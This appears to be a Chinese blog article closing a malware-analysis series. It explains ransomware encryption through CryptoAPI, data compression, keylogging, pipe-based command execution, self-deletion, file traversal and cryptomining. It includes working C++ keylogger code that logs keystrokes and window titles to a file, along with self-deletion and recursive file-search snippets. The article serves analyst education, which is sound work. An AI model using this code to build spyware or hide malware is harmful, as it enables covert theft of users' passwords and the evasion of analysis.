原创干货 | 【恶意代码分析技巧】完结篇-恶意行为

  • A+

恶意代码的恶意行为无非是窃密、破坏、占用资源,但这些恶意行为的实现方式千千万,本文分析了一些主流的恶意行为。

1.文件加密

对于勒索病毒来说,最重要的功能是文件加密。一些勒索病毒(以硬盘锁居多),会使用古典密码学算法,通过置换和代换进行加密,这样的加密算法通过逆向工程很容易破解;还有一些勒索病毒,会使用对称密码学算法,例如AES、DES,这类加密算法加密密钥和解密密钥相同,破解难度很大程度上取决于对密钥的保护程度;也有一些勒索病毒,使用的是非对称密码学算法,例如RSA、ECC,这里加密算法都是根据数学上的难题涉及的,加密密钥和解密密钥不同,在没有解密密钥的情况下,很难进行破解。

AES、DES、RSA、ECC这些密码学算法都是复杂的算法,恶意代码往往都是使用密码学库,在程序中调用函数接口实现相应的加密算法。最常用密码学库就是CryptoAPI。

1.1.CSP介绍

CryptoAPI是Windows提供的一组用于数据加解密的API,其中,加密操作由加密服务提供程序——CSP(CryptographicService Provider)中的独立模块来执行。

微软提供的CryptoAPI主要在“Wincrypt.h”和“Advapi32.lib”这两个库中。使用CSP进行加解密一般会进行如下操作:
①产生CSP容器;
②生成密钥;
③加解密;
④销毁容器;
在使用CryptoAPI时,我们需要先调用CryptAcquireContextA()创建/获取CSP的密钥容器:

BOOL WINAPI CryptAcquireContext(//这个函数是获取有某个容器的CSP模块的指针,成功返回TRUE。
Out HCRYPTPROV *phProv, //指向一个CSP模块句柄指针,里面用指定的容器
In LPCTSTR pszContainer, //指定容器的名称,也可以使用缺省的
In LPCTSTR pszProvider, //这个参数一般是缺省值,指得是缺省得CSP模块,你也可以传入一个LPCTSTR类型的字符串,指定CSP模块
In DWORD dwProvType,//确定密钥的类型
In DWORD dwFlags
);

密钥生成,调用CryptGenKey生成随机密钥或调用CryptImportKey导入密钥

BOOL WINAPI CryptGenKey(
In HCRYPTPROV hProv,
In ALG_ID Algid,//密钥类型
In DWORD dwFlags,
Out HCRYPTKEY *phKey
);
BOOL WINAPI CryptImportKey(
In HCRYPTPROV hProv,
In BYTE * pbData,
In DWORD dwDataLen,
In HCRYPTKEY hPubKey,
In DWORD dwFlags,
Out HCRYPTKEY * phKey
);

调用CryptEncryptCryptDecrypt进行加解密

BOOL WINAPI CryptEncrypt(
In HCRYPTKEY hKey,
In HCRYPTHASH hHash,
In BOOL Final,
In DWORD dwFlags,
Inout BYTE pbData,
Inout DWORD
pdwDataLen,
In DWORD dwBufLen
);
BOOL WINAPI CryptDecrypt(
In HCRYPTKEY hKey,
In HCRYPTHASH hHash,
In BOOL Final,
In DWORD dwFlags,
Inout BYTE pbData,
Inout DWORD
pdwDataLen,
In DWORD dwBufLen
);

CryptDestroyKey()销毁容器。
如图所示,是笔者在《狮鹫勒索者分析》(超链接:https://www.52pojie.cn/thread-640915-1-1.html)一文中分析的,勒索病毒使用CSP容器实现AES加密:

image.png

2.文件压缩

有一些恶意代码会将payload压缩,在程序的运行过程中再解压;也有一些恶意代码会将收集到的数据进行压缩,以便于将这些数据传输出去。攻击者可以使用第三方应用解压/压缩数据,也可以使用自定义的程序,接下来我们就对常见的解压/压缩方法进行介绍。

2.1.第三方程序

主流的压缩软件7z、winrar、winzip等都有命令行的形式。恶意代码可以尝试使用这些压缩软件命令进行文件压缩。如果系统中不存在这类压缩软件,攻击者可以上传一个压缩软件,然后在使用命令行压缩文件。
如图所示,APT3使用winrar.exe(已被重命名为recycler.exe)压缩文件,并设置压缩密码Gzq5yKw:

image.png

2.2.API

ntdll.dll中的RtlCompressBuffer和RtlDecompressBuffer函数就是专门用于数据压缩和解压操作的API,在使用这两个API压缩/解压缩前需要使用RtlGetCompressionWorkSpaceSize获取工作缓冲区的大小
//确定RtlCompressBuffer和RtlDecompressBuffer工作空间缓冲区的大小
NT_RTL_COMPRESS_API NTSTATUS RtlGetCompressionWorkSpaceSize(
In USHORT CompressionFormatAndEngine, //位掩码,指定压缩的格式和引擎类型
Out PULONG CompressBufferWorkSpaceSize, //接收压缩数据的缓冲区的大小
Out PULONG CompressFragmentWorkSpaceSize//接收解压的缓冲区的大小
);
//压缩缓冲区
NT_RTL_COMPRESS_API NTSTATUS RtlCompressBuffer(
In USHORT CompressionFormatAndEngine,//位掩码,指定压缩的格式和引擎类型
In PUCHAR UncompressedBuffer,//指向要压缩的数据缓冲区
In ULONG UncompressedBufferSize,
Out PUCHAR CompressedBuffer,//指向压缩后的数据缓冲区
In ULONG CompressedBufferSize,
In ULONG UncompressedChunkSize,//压缩缓冲区使用块的大小,推荐4096
Out PULONG FinalCompressedSize,//指向调用者分配变量的指针,该变量接收CompressedBuffer中压缩数据的大小
In PVOID WorkSpace //指向调用者分配的工作空间缓冲区大小
);
//解压缓冲区
NT_RTL_COMPRESS_API NTSTATUS RtlDecompressBuffer(
In USHORT CompressionFormat,//位掩码,指定压缩缓冲区中压缩的格式
Out PUCHAR UncompressedBuffer,
In ULONG UncompressedBufferSize,
In PUCHAR CompressedBuffer,
In ULONG CompressedBufferSize,
Out PULONG FinalUncompressedSize//解压之后得到的数据的大小
);
接下来以数据压缩为例,介绍如何使用RtlCompressBuffer压缩数据:

// 获取WorkSpqce大小
status = RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_STANDARD, &dwWorkSpaceSize, &dwFragmentWorkSpaceSize);
// 申请动态内存
pWorkSpace = new BYTE[dwWorkSpaceSize];
::RtlZeroMemory(pWorkSpace, dwWorkSpaceSize);
while (TRUE)
{
// 申请动态内存
pCompressData = new BYTE[dwCompressDataLength];
::RtlZeroMemory(pCompressData, dwCompressDataLength);
// 调用RtlCompressBuffer压缩数据
RtlCompressBuffer(COMPRESSION_FORMAT_LZNT1, pUncompressData, dwUncompressDataLength, pCompressData, dwCompressDataLength, 4096, &dwFinalCompressSize, (PVOID)pWorkSpace);
if (dwCompressDataLength < dwFinalCompressSize){
// 释放内存
if (pCompressData){
delete[]pCompressData;
pCompressData = NULL;}
dwCompressDataLength = dwFinalCompressSize;
}
else{break;}
}

2.3.ZLIB库

ZLIB压缩库是一套开源的、跨平台的数据压缩用库。ZLIB最初是一个C语言库,随着发展,ZLIB库已经可以在Java、Python、Perl等多种编程语言中使用。
WannaCry就曾使用ZLIB进行数据压缩。对于使用ZLIB压缩的程序,我们直接使用PEID就能识别:

image.png

3.键盘记录

键盘记录在恶意软件中很常见,被用于窃取用户键盘输入信息,窃取账户密码。键盘记录器的种类繁多,有运行于应用层的,有运行于内核层的,还有硬件版的键盘记录器。如图所示,是USB版本的键盘记录器。

image.png

这里我们介绍三种常见的应用层键盘记录器:SetWindowsHookEx钩取键盘消息、GetAsyncKeyState轮询键盘消息、RawInputData直接从输入设备获取数据。

3.1.SetWindowsHookEx钩取键盘消息

SetWindowsHookEx的用法在本系列文章第13篇《HOOK与注入》中进行了详细的介绍,这里不再赘述。
使用SetWindowsHookEx编写键盘记录器的关键点是钩取WH_KEYBOARD/WH_GETMESSAGE消息:
SetWindowsHook(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);

3.2.GetAsyncKeyState轮询键盘消息

GetAsyncKeyState是一个用来判断函数调用时指定虚拟键的状态,确定用户当前是否按下了键盘上的一个键的函数。
SHORT GetAsyncKeyState(
int vKey
);
参数vKey表示的是虚拟键,它与键盘按键的对应关系可以参考MSDN(超链接:https://docs.microsoft.com/zh-cn/windows/win32/inputdev/virtual-key-codes)。
返回值是SHORT类型,自对GetAsyncKeyState函数的上一次调用以来,如键已被按过,则位0设为1;否则设为0。如键目前处于按下状态,则位15设为1;如抬起,则为0。
利用这个API,我们可以通过不断检测键盘上某一个键是否被按下来获取键盘记录。不断检测的过程也就是轮询的过程,可以通过While循环实现。使用GetAsyncKeyState编写键盘记录器的核心代码:

while (1) {
Sleep(8);
if (GetAsyncKeyState('A') == -32767) { //0x7FFF=-32767
if (GetKeyState(VK_CAPITAL) == 1)
{
cout << "A";
}
else { cout << "a"; }
}
//...
if (GetAsyncKeyState('Z') == -32767) { //0x7FFF=-32767
if (GetKeyState(VK_CAPITAL) == 1)
{
cout << "Z";
}
else { cout << "z"; }
}
}
还有两个API也可以查询虚拟键状态——GetKeyState和GetKeyboardState,这两个API和GetAsyncKeyState类似,也可以用于编写键盘记录器:

SHORT GetKeyState(
int nVirtKey
);//返回值为SHORT类型,即短整型。GetKeyState函数是用来获取指定的虚拟键码的按键的状态。得到的状态表示按键是按下了还是弹起的,还是状态切换(大小写状态、数字键盘锁状态)。
BOOL GetKeyboardState(
PBYTE lpKeyState //指向一个256字节的数组,数组用于接收每个虚拟键的状态。
);

3.3.RawInputData直接从输入设备获取数据

利用原始输入数据(RawInputData)获取键盘记录,首先要新建一个窗口类,并将其注册为原始输入设备(RegisterRawInputDevices)接收WM_INPUT消息,之后进入消息循环,在wndproc消息处理函数中利用GetRawInputData获取RawInputData结构体,解析这个结构体获得键盘按键信息并保存。

BOOL WINAPI RegisterRawInputDevices(
In PCRAWINPUTDEVICE pRawInputDevices, //一组RAWINPUTDEVICE结构,代表提供原始输入的设备。
In UINT uiNumDevices, //指向的RAWINPUTDEVICE结构的数量。
In UINT cbSize //RAWINPUTDEVICE结构的大小
);//如果函数成功,则返回TRUE;否则为FALSE。
UINT WINAPI GetRawInputData(
In HRAWINPUT hRawInput, //RAWINPUT结构的句柄。 这来自于WM_INPUT中的lParam。
In UINT uiCommand,//命令标志;RID_HEADER表示从RAWINPUT结构获取头信息;RID_INPUT表示从RAWINPUT结构获取原始数据
Out_opt LPVOID pData,//指向来自RAWINPUT结构的数据的指针
Inout PUINT pcbSize,//pData中数据的大小
In UINT cbSizeHeader//RAWINPUTHEADER结构的大小
);//如果pData不为空,函数成功
需要主要的是。默认情况下,应用程序不接收原始输入,要想接收WM_INPUT消息,应用程序必须首先使用RegisterRawInputDevices注册原始输入设备。
使用原始输入的方法实现的按键记录程序关键步骤:
①注册原始输入设备;
②捕获WM_INPUT 消息,获取原始输入数据
③保存按键信息,将虚拟键码与ASCII码的对应。
核心代码:
//① 注册原始输入设备
BOOL Init(HWND hWnd)
{
// 设置 RAWINPUTDEVICE 结构体信息
RAWINPUTDEVICE rawinputDevice = { 0 };
rawinputDevice.usUsagePage = 0x01;
rawinputDevice.usUsage = 0x06;
rawinputDevice.dwFlags = RIDEV_INPUTSINK;
rawinputDevice.hwndTarget = hWnd;
// 注册原始输入设备
BOOL bRet = ::RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice));
if (FALSE == bRet)
{
ShowError("RegisterRawInputDevices");
return FALSE;
}
return TRUE;
}

// ②获取原始输入数据
BOOL GetData(LPARAM lParam)
{
RAWINPUT rawinputData = { 0 };
UINT uiSize = sizeof(rawinputData);
// 获取原始输入数据的大小
::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER));
if (RIM_TYPEKEYBOARD == rawinputData.header.dwType)
{
// WM_KEYDOWN --> 普通按键 WM_SYSKEYDOWN --> 系统按键(指的是ALT)
if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) ||
(WM_SYSKEYDOWN == rawinputData.data.keyboard.Message))
{
// 记录按键
SaveKey(rawinputData.data.keyboard.VKey);
}
}
return TRUE;
}

//③保存按键信息
void SaveKey(USHORT usVKey)
{
char szKey[MAX_PATH] = { 0 };
char szTitle[MAX_PATH] = { 0 };
char szText[MAX_PATH] = { 0 };
FILE *fp = NULL;
// 获取顶层窗口
HWND hForegroundWnd = ::GetForegroundWindow();
// 获取顶层窗口标题
::GetWindowText(hForegroundWnd, szTitle, 256);
// 将虚拟键码转换成对应的ASCII
::lstrcpy(szKey, GetKeyName(usVKey));
// 构造按键记录信息字符串
::wsprintf(szText, "[%s] %srn", szTitle, szKey);
// 打开文件写入按键记录数据
::fopen_s(&fp, "keylog.txt", "a+");
if (NULL == fp)
{
ShowError("fopen_s");
return;
}
::fwrite(szText, (1 + ::lstrlen(szText)), 1, fp);
::fclose(fp);
}

4.管道

Windows下可以使用system、WinExec、CreateProcess等API执行CMD,但是这些函数均不能获取执行后的操作结构。要想获得CMD执行后的操作结构,我们需要使用匿名管道。
管道(Pipe)实际是用于进程间通信的一段共享内存,创建管道的进程称为管道server,连接到一个管道的进程为管道客户机。一个进程在向管道写入数据后,还有一进程就能够从管道的还有一端将其读取出来。管道分为匿名管道和命名管道,匿名管道只能在父子进程中通信。匿名管道(AnonymousPipes)是在父进程和子进程间单向数据传输的一种未命名的管道,仅仅能在本地计算机中使用,而不可用于网络间的通信。
创建管道需要使用CreatePipe函数:
BOOL CreatePipe(
Out PHANDLE hReadPipe, // 指向读句柄的指针
Out PHANDLE hWritePipe, // 指向写句柄的指针
In_opt LPSECURITY_ATTRIBUTES lpPipeAttributes, // 指向安全属性的指针
In DWORD nSize // 管道大小
);
父子进程在通信时,使用GetStdHandle()取得管道的读/写句柄,使用ReadFile()读取管道数据,使用WriteFile()向管道写数据。匿名管道是单向的,一端写一端读;命名管道双向,但是同一时间只能一端写一端读。
利用管道的方式执行CMD并获取输出结果的流程如下:
①初始化匿名管道的安全属性结构体SECURITY_ATTRIBUTES,设置管道缓冲区大小,并调用CreatePipe创建管道,获取管道读取句柄和写入句柄;
②初始化创建的进程结构体STARTUPINFO,把管道写入句柄赋值给新进程控制台窗口的缓存句柄,这样,新进程就会把窗口缓存数据写入到匿名管道;
③调用CreateProcess创建新进程;
④调用ReadFile()/WriteFile()读写管道;
如图是某蔓灵花样本种使用管道执行cmd命令的代码:

image.png

5.自删除

一些恶意代码在成功执行后,就会删除自身,防止用户对恶意代码进行分析。
但是恶意代码正在运行的时候如果直接执行DeleteFile删除自己,就会产生文件占用的错误:

image.png

这种时候,我们就要使用一些特殊的方法实现自删除。自删除的方式很多,这里介绍几种最常见的自删除的方式。

5.1.批处理

批处理有一个特别的命令,可以实现自己删除自己的操作:
del %0
执行这个命令还有一个好处,被删除的文件不会放进回收站。
PS:还有一个类似del的命令,rd命令,rd用于删除一个目录。

5.2.延时删除

延时删除,顾名思义,它不会立即删除文件,它首先标记将要删除的文件,在下一次重启系统的过程中删除文件。
延时删除是在系统启动的过程中执行删除任务,能够在大多数应用程序(包括恶意代码自己)还未启动时就执行删除操作,因为程序还未启动,就不会产生文件占用的问题了。许多安全软件使用自删除技术清除病毒;也有一些病毒会使用延时删除技术实现自删除。延迟删除的方式有主要有以下两种。

5.2.1.MoveFileEx

MoveFileEx被用于移动现有的文件或目录。
BOOL MoveFileEx(
LPCTSTR lpExistingFileName, // 一个存在的文件或者文件夹字符串指针
LPCTSTR lpNewFileName, // 一个还没存在的文件或者文件夹的字符串指针
DWORD dwFlags // 操作标志
);// 执行成功返回TRUE
dwFlags可以是一下的一个或多个值:

image.png

设置MOVEFILE_DELAY_UNTIL_REBOOT标志(这个标志需要管理员权限才能使用),设置lpExistingFileName为要删除的文件(路径开头需要加上”?”前缀,解决编码的问题),lpNewFileName的值为空,我们就能实现延迟删除了。

char szTemp[MAX_PATH] = "\?";
::lstrcat(szTemp, pszFileName);
BOOL bRet = ::MoveFileEx(szTemp, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);

5.2.2.注册表

除了使用MoveFileEx函数,我们还可以直接操作注册表,在如下注册表中直接添加要删除的文件路径就能实现延迟删除:
HKEY_LOCAL_MACHINESYSTEMControlSet001ControlSessionManagerPendingFileRenameOperations

image.png

PendingFileRenameOperations键的类型是REG_MULTI_SZ,里面用一对对的字符串描述一个文件。
延迟删除的核心原理是Windows系统在启动过程中,会话管理器进程(SMSS)会检查注册表PendingFileRenameOperations键的内容,逐一处理PendingFileRenameOperations键描述的每个文件,对其改名或删除。PendingFileRenameOperations键中第一个字符串描述源文件名,第二个字符串描述目标文件名,如果要删除文件就将第二个字符串设为空。
MoveFileEx实现延迟删除的方式本质上上就是设置这个注册表。

6.进程遍历和文件遍历

在恶意代码中,进程遍历和文件遍历都是比较常见的行为。恶意代码通过遍历进程和文件,获取系统信息选择攻击目标。
在上一篇文章中,已经介绍了多种进程遍历的方法,本文不再赘述,接下来主要介绍文件遍历。
一方面木马病毒遍历搜索文件,窃取用户数据;另一方面勒索病毒会使用文件遍历,对系统中的文件进行加密。
文件遍历使用到的API有FindFirstFile、FindNextFile和FindClose等:
HANDLE FindFirstFile(
LPCTSTR lpFileName,//指定目录、路径、文件名,可以使用通配符
LPWIN32_FIND_DATA lpFindFileData//指向WIN32_FIND_DATA结构的指针,接收搜索到的文件或目录信息
);//调用成功返回搜索句柄hFindFile
BOOLFindNextFile(
HANDLE hFindFile,
LPWIN32_FIND_DATA lpFindFileData
);//调用成功,返回非零
BOOL FindClose(
HANDLE hFindFile
)
由上可知,接收搜索到的文件或目录信息的结构体是WIN32_FIND_DATA:

typedef struct _WIN32_FIND_DATA {
DWORD dwFileAttributes; //文件属性,值FILE_ATTRIBUTE_DIRECTORY(0x10)表示该文件是个目录
FILETIME ftCreationTime; // 文件创建时间
FILETIME ftLastAccessTime; // 文件最后一次访问时间
FILETIME ftLastWriteTime; // 文件最后一次修改时间
DWORD nFileSizeHigh; // 文件长度高32位
DWORD nFileSizeLow; // 文件长度低32位
DWORD dwReserved0; // 系统保留
DWORD dwReserved1; // 系统保留
TCHAR cFileName[MAX_PATH]; // 长文件名
TCHAR cAlternateFileName[14]; // 8.3格式文件名,文件的替代名称
进行文件遍历时,直接调用FindFirstFile对指定的目录/文件进行搜索,结果保存在WIN32_FIND_DATA结构中,根据WIN32_FIND_DATA判断是否是自己需要的文件;如果需要继续搜索,调用FindNextFile搜索下一个文件,判断返回值,若为空,则说明文件遍历完成;搜索完毕,调用FindClose关闭搜索句柄。

void SearchFile(char pszDirectory)
{
// 搜索指定类型文件
DWORD dwBufferSize = 2048;
char
pszFileName = NULL;
char pTempSrc = NULL;
WIN32_FIND_DATA FileData = {0};
BOOL bRet = FALSE;
// 申请动态内存
pszFileName = new char[dwBufferSize];
pTempSrc = new char[dwBufferSize];
// 构造搜索文件类型字符串,
.表示搜索所有文件类型
::wsprintf(pszFileName, "%s
.*", pszDirectory);
// 搜索第一个文件
HANDLE hFile = ::FindFirstFile(pszFileName, &FileData);
if (INVALID_HANDLE_VALUE != hFile){
do{
// 要过滤掉 当前目录"." 和 上一层目录"..", 否则会不断进入死循环遍历
if ('.' == FileData.cFileName[0]){continue; }
// 拼接文件路径
::wsprintf(pTempSrc, "%s%s", pszDirectory, FileData.cFileName);
// 判断是否是目录还是文件
if (FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {// 目录, 则继续往下递归遍历文件
SearchFile(pTempSrc);
}
else{// 文件
printf("%sn", pTempSrc);
}
// 搜索下一个文件
} while (::FindNextFile(hFile, &FileData));
}
// 关闭文件句柄
::FindClose(hFile);
// 释放内存
delete []pTempSrc;
pTempSrc = NULL;
delete []pszFileName;
pszFileName = NULL;
}

7.挖矿行为

随着数字货币的兴起,这几年CPU挖矿病毒也十分活跃。挖矿病毒有一个显著的特征,他们会占用大量的CPU资源:

image.png

image.png

这类挖矿病毒往往使用github上开源的CPU挖矿程序。攻击者只需要修改一些配置就可以了。这些配置往往记录着钱包和矿池信息,找到这些钱包和矿池信息是分析确定挖矿病毒的关键。这些配置信息可能硬编码记录在程序里,也可能以配置文件的形式存在:

image.png

除了在本地落地的挖矿程序,打开浏览器即可进行挖矿的挖矿病毒也很常见,这类挖矿病毒是在页面中嵌入挖矿JS代码,受害者只要打开含有挖矿JS的页面就会开始挖矿:

image.png

8.写在最后的话

至此,本系列正式完结了。
回顾本系列,前半部分主要介绍了一些恶意代码分析工具,后半部分主要分析恶意代码的各种行为。虽不是尽善尽美,倒也可圈可点,还望各位读者老爷们喜欢。
Bye!

参考资料:

https://www.write-bug.com/article/1860.html
https://www.write-bug.com/article/1848.html
https://blog.csdn.net/qin_zhangyongheng/article/details/8033938
《Windows黑客编程技术详解》

相关推荐: 【情人节警报】看我如何智斗陌陌情爱骗子

虽然情人节已过完,但还有下一个,下下个,所以这个案例我必须要分享,提醒大家别掉入恋爱陷阱,下面是两个常见套路 还有这个 别笑话我用陌陌,还不是因为家里催得紧,病急乱投医了嘛,没事就逛一逛 首先我们先理一下,遇到骗子应该怎么办: 1、保护好自己的隐私,不要泄露任…